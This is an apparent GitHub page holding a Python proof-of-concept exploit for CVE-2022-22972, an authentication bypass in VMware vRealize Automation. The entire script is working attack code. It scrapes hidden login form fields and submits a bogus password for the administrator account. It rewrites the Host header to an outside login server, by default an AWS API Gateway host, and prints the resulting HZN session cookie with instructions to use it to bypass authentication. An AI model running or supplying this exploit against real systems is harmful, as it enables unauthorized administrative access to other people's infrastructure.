-
Notifications
You must be signed in to change notification settings - Fork 31
/
CVE-2022-22972.py
98 lines (77 loc) · 3.17 KB
/
CVE-2022-22972.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import argparse
import requests
import urllib3
import sys
from bs4 import BeautifulSoup
from urllib.parse import urlparse
urllib3.disable_warnings()
# parse arguments
parser = argparse.ArgumentParser(description='POC for CVE-2022-22972')
parser.add_argument('url', type=str, help='Base url of appliance')
parser.add_argument('--username', '-u', required=False, default='administrator',
help='Name of local user to use for login')
parser.add_argument('--host', required=False, default='ei3wpt9100.execute-api.us-east-2.amazonaws.com',
help='Name of host to to use in Host header replacement. This host should have a login server running')
args = parser.parse_args()
url = args.url
if not url.endswith('/'):
url += "/"
# Create a new session
s = requests.Session()
# Uncomment the following to proxy through BurpSuite
# s.proxies = {
# "https": "https://127.0.0.1:8080"
# }
# Send an initial get request to get a session cookie
resp = s.get(url + "vcac", verify=False, allow_redirects=True)
# Get the url from the response in the event the user passed an ip
# address instead of a domain name
parsed_url = urlparse(resp.url)
url = parsed_url.scheme + "://" + parsed_url.netloc + "/"
# Send another get request with the original_uri parameter. This will cause
# a series of redirects ending with a login page with various hidden form fields that
# we need to extract for our final POST.
print("Extracting state from vcac redirects...")
params = {
"original_uri": f"{url}vcac",
}
resp = s.get(
url + "vcac/", verify=False, allow_redirects=True, params=params)
# Extract hidden forms fields
soup = BeautifulSoup(resp.text, 'html.parser')
form = soup.find('form')
if not form:
print('Form not found for /vcac endpoint. This might be patched or you may be using this against something that isnt vRealize Automation')
sys.exit()
data = {
'protected_state': form.find('input', {'id': 'protected_state'}).get('value'),
'userstore': form.find('input', {'id': 'userstore'}).get('value'),
'username': args.username,
'password': 'horizon', # bogus password
'userstoreDisplay': form.find('input', {'id': 'userstoreDisplay'}).get('value'),
'horizonRelayState': form.find('input', {'name': 'horizonRelayState'}).get('value'),
'stickyConnectorId': form.find('input', {'name': 'stickyConnectorId'}).get('value'),
'action': 'Sign+in'
}
# Assemble to forms fields into the body of the POST
body = ""
for k, v in data.items():
body += f'{k}={v}&'
# remove last &
body = body[0:len(body) - 1]
# Create the auth POST request
req = s.prepare_request(requests.Request('POST',
url + "SAAS/auth/login/embeddedauthbroker/callback", data=body))
# Set the content type header. Set Host header for an endpoint that will return 200
# for requests to /SAAS/API/1.0/REST/auth/local/login
req.headers.update({
"Content-type": "application/x-www-form-urlencoded",
"Host": args.host
})
print("Sending POST to auth endpoint")
resp = s.send(req, verify=False, allow_redirects=False)
# Extract the cookies
print()
print(f"HZN={s.cookies.get('HZN')}")
print()
print("Set the HZN cookie in your browser to bypass authentication")